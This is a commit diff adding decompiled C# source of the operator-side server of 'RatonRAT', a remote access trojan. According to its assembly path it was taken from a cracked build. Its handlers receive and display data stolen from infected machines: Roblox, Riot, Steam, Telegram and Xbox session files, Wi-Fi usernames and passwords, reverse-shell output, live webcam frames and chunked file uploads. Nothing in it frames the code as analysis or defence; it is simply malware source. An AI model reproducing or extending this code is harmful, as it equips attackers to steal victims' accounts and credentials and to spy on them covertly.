ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the riot games session .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nRiot stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleRoblox
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleRoblox
|
||||
{
|
||||
public HandleRoblox(SillyClient client, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string asString = unpack.GetAsString("UID");
|
||||
string contents = unpack.GetAsString("Message").Replace("\\r\\n", "\n").Replace("\\n", "\n").Replace("\\t", "\t");
|
||||
if (string.IsNullOrEmpty(asString) || string.IsNullOrEmpty(contents))
|
||||
return;
|
||||
string str1 = Path.Combine(Program.ClientsFolder, asString);
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
File.WriteAllText(Path.Combine(str1, $"RobloxSession_{str2}.txt"), contents);
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the Roblox sessions", (object) System.Drawing.Color.LightGreen)));
|
||||
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nRoblox stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleShell
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleShell
|
||||
{
|
||||
public HandleShell(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonShell shellForm = (ratonShell) Application.OpenForms["Reverse shell | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (shellForm == null)
|
||||
return;
|
||||
if (shellForm.SillyClient == null)
|
||||
shellForm.SillyClient = client;
|
||||
shellForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
shellForm.textBoxConsole.AppendText(rip2pac.GetAsString("Output"));
|
||||
shellForm.textBoxConsole.SelectionStart = shellForm.textBoxConsole.TextLength;
|
||||
shellForm.textBoxConsole.ScrollToCaret();
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleSteam
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleSteam
|
||||
{
|
||||
public HandleSteam(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonSteam ratonTelegram = (ratonSteam) Application.OpenForms["Steam | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the steam session .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nSteam stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleTelegram
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleTelegram
|
||||
{
|
||||
public HandleTelegram(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonTelegram ratonTelegram = (ratonTelegram) Application.OpenForms["Telegram | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the telegram session .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nTelegram stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleUpload
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleUpload
|
||||
{
|
||||
public void Run(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
ratonFIle openForm = (ratonFIle) Application.OpenForms["File ID: " + unpack.GetAsString("DUID")];
|
||||
if (openForm == null)
|
||||
return;
|
||||
if (openForm.SillyClient == null)
|
||||
openForm.SillyClient = SillyClient;
|
||||
if (unpack.GetAsBool("isOk"))
|
||||
{
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "The file was uploaded successfully", (object) Color.LightGreen)));
|
||||
}
|
||||
else
|
||||
{
|
||||
openForm.Status("Our rats died. (Failed)");
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddErrorLog((object) "Failed to upload the file", (object) Color.Red)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleUploadACK
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleUploadACK
|
||||
{
|
||||
public void Run(SillyClient client, Unpack unpack)
|
||||
{
|
||||
string asString = unpack.GetAsString("DUID");
|
||||
int chunkIndex = unpack.GetAsInteger("ChunkIndex");
|
||||
bool isOk = unpack.GetAsBool("isOk");
|
||||
ratonFIle fileForm = Application.OpenForms["File ID: " + asString] as ratonFIle;
|
||||
if (fileForm == null)
|
||||
return;
|
||||
fileForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
if (isOk)
|
||||
fileForm.Status($"Chunk {chunkIndex} received successfully");
|
||||
else
|
||||
fileForm.Status($"Chunk {chunkIndex} failed to upload");
|
||||
}));
|
||||
if (isOk)
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Client {client.uid} received chunk {chunkIndex} of {fileForm.FileName}", (object) Color.Green)));
|
||||
else
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddErrorLog((object) $"Client {client.uid} failed chunk {chunkIndex} of {fileForm.FileName}", (object) Color.Red)));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleWebcam
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleWebcam
|
||||
{
|
||||
private Stopwatch stopwatch = new Stopwatch();
|
||||
|
||||
public HandleWebcam(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
HandleWebcam handleWebcam = this;
|
||||
string uid = unpack.GetAsString("UID");
|
||||
string formPrefix = "Webcam | Client ID: " + uid;
|
||||
ratonWebcam webcamForm = (ratonWebcam) null;
|
||||
if (Application.OpenForms.Count > 0)
|
||||
{
|
||||
Form openForm = Application.OpenForms[0];
|
||||
if (openForm.InvokeRequired)
|
||||
openForm.Invoke((Delegate) (() => webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed))));
|
||||
else
|
||||
webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed));
|
||||
}
|
||||
if (webcamForm == null)
|
||||
return;
|
||||
if (webcamForm.SillyClient == null)
|
||||
webcamForm.SillyClient = SillyClient;
|
||||
switch (unpack.GetAsString("Command"))
|
||||
{
|
||||
case "Start":
|
||||
this.SafeInvoke((Control) webcamForm, (Action) (() =>
|
||||
{
|
||||
if (webcamForm.IsDisposed)
|
||||
return;
|
||||
handleWebcam.ProcessImage(unpack.GetAsByteArray("Image"), webcamForm, uid);
|
||||
}));
|
||||
break;
|
||||
case "List":
|
||||
this.SafeInvoke((Control) webcamForm, (Action) (() =>
|
||||
{
|
||||
if (webcamForm.IsDisposed)
|
||||
return;
|
||||
string asString = unpack.GetAsString("Cams");
|
||||
if (string.IsNullOrEmpty(asString))
|
||||
return;
|
||||
string[] items = asString.Split('|');
|
||||
if (items.Length != 0)
|
||||
{
|
||||
webcamForm.flatComboBox1.Items.Clear();
|
||||
webcamForm.flatComboBox1.Items.AddRange((object[]) items);
|
||||
webcamForm.flatComboBox1.SelectedIndex = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
webcamForm.flatComboBox1.Items.Clear();
|
||||
webcamForm.flatComboBox1.Items.Add((object) "No webcam detected");
|
||||
webcamForm.flatComboBox1.SelectedIndex = 0;
|
||||
}
|
||||
}));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessImage(byte[] imageBytes, ratonWebcam webcamForm, string uid)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (imageBytes == null || webcamForm == null || webcamForm.IsDisposed || webcamForm.pctBoxWebcam == null || webcamForm.pctBoxWebcam.IsDisposed)
|
||||
return;
|
||||
Image imageFromBytes = this.GetImageFromBytes(imageBytes);
|
||||
if (imageFromBytes != null)
|
||||
{
|
||||
Image image = webcamForm.pctBoxWebcam.Image;
|
||||
webcamForm.pctBoxWebcam.Image = imageFromBytes;
|
||||
image?.Dispose();
|
||||
}
|
||||
++webcamForm.FPS;
|
||||
if (webcamForm.sw.ElapsedMilliseconds < 1000L)
|
||||
return;
|
||||
webcamForm.Text = $"Webcam | Client ID: {uid} | FPS: {webcamForm.FPS}";
|
||||
webcamForm.FPS = 0;
|
||||
webcamForm.sw.Restart();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private Image GetImageFromBytes(byte[] imageBytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(imageBytes))
|
||||
return Image.FromStream((Stream) memoryStream);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (Image) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void SafeInvoke(Control control, Action action)
|
||||
{
|
||||
if (control == null)
|
||||
return;
|
||||
if (control.IsDisposed)
|
||||
return;
|
||||
try
|
||||
{
|
||||
if (control.InvokeRequired)
|
||||
control.BeginInvoke((Delegate) (() =>
|
||||
{
|
||||
if (control.IsDisposed)
|
||||
return;
|
||||
action();
|
||||
}));
|
||||
else
|
||||
action();
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
}
|
||||
catch (InvalidOperationException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleWifi
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleWifi
|
||||
{
|
||||
public HandleWifi(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
ratonWifi formPassword = (ratonWifi) Application.OpenForms["Wifi | Client ID: " + unpack.GetAsString("UID")];
|
||||
if (formPassword == null)
|
||||
return;
|
||||
if (formPassword.SillyClient == null)
|
||||
formPassword.SillyClient = SillyClient;
|
||||
formPassword.Invoke((Delegate) (() =>
|
||||
{
|
||||
string asString1 = unpack.GetAsString("User");
|
||||
string asString2 = unpack.GetAsString("Pass");
|
||||
formPassword.aeroListView1.Items.Add(new ListViewItem(asString1)
|
||||
{
|
||||
SubItems = {
|
||||
asString2
|
||||
},
|
||||
ImageIndex = 0
|
||||
});
|
||||
formPassword.aeroListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent);
|
||||
formPassword.aeroListView1.EndUpdate();
|
||||
formPassword.label1.Visible = false;
|
||||
formPassword.aeroListView1.Visible = true;
|
||||
foreach (ColumnHeader column in formPassword.aeroListView1.Columns)
|
||||
column.Width = formPassword.aeroListView1.Width / formPassword.aeroListView1.Columns.Count;
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleXbox
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleXbox
|
||||
{
|
||||
public HandleXbox(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonXbox ratonTelegram = (ratonXbox) Application.OpenForms["Xbox | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the xbox session .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nXbox stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Helper.Methods
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Helper;
|
||||
|
||||
public static class Methods
|
||||
{
|
||||
private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
public static Random Random = new Random();
|
||||
|
||||
public static string BytesToString(long byteCount)
|
||||
{
|
||||
string[] strArray = new string[7]
|
||||
{
|
||||
"B",
|
||||
"KB",
|
||||
"MB",
|
||||
"GB",
|
||||
"TB",
|
||||
"PB",
|
||||
"EB"
|
||||
};
|
||||
if (byteCount == 0L)
|
||||
return "0" + strArray[0];
|
||||
long a = Math.Abs(byteCount);
|
||||
int int32 = Convert.ToInt32(Math.Floor(Math.Log((double) a, 1024.0)));
|
||||
double num = Math.Round((double) a / Math.Pow(1024.0, (double) int32), 1);
|
||||
return ((double) Math.Sign(byteCount) * num).ToString() + strArray[int32];
|
||||
}
|
||||
|
||||
public static async Task FadeIn(Form o, int interval = 80 /*0x50*/)
|
||||
{
|
||||
for (; o.Opacity < 1.0; o.Opacity += 0.05)
|
||||
await Task.Delay(interval);
|
||||
}
|
||||
|
||||
public static string GetRandomString(int length)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(length);
|
||||
for (int index = 0; index < length; ++index)
|
||||
stringBuilder.Append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[Methods.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".Length)]);
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user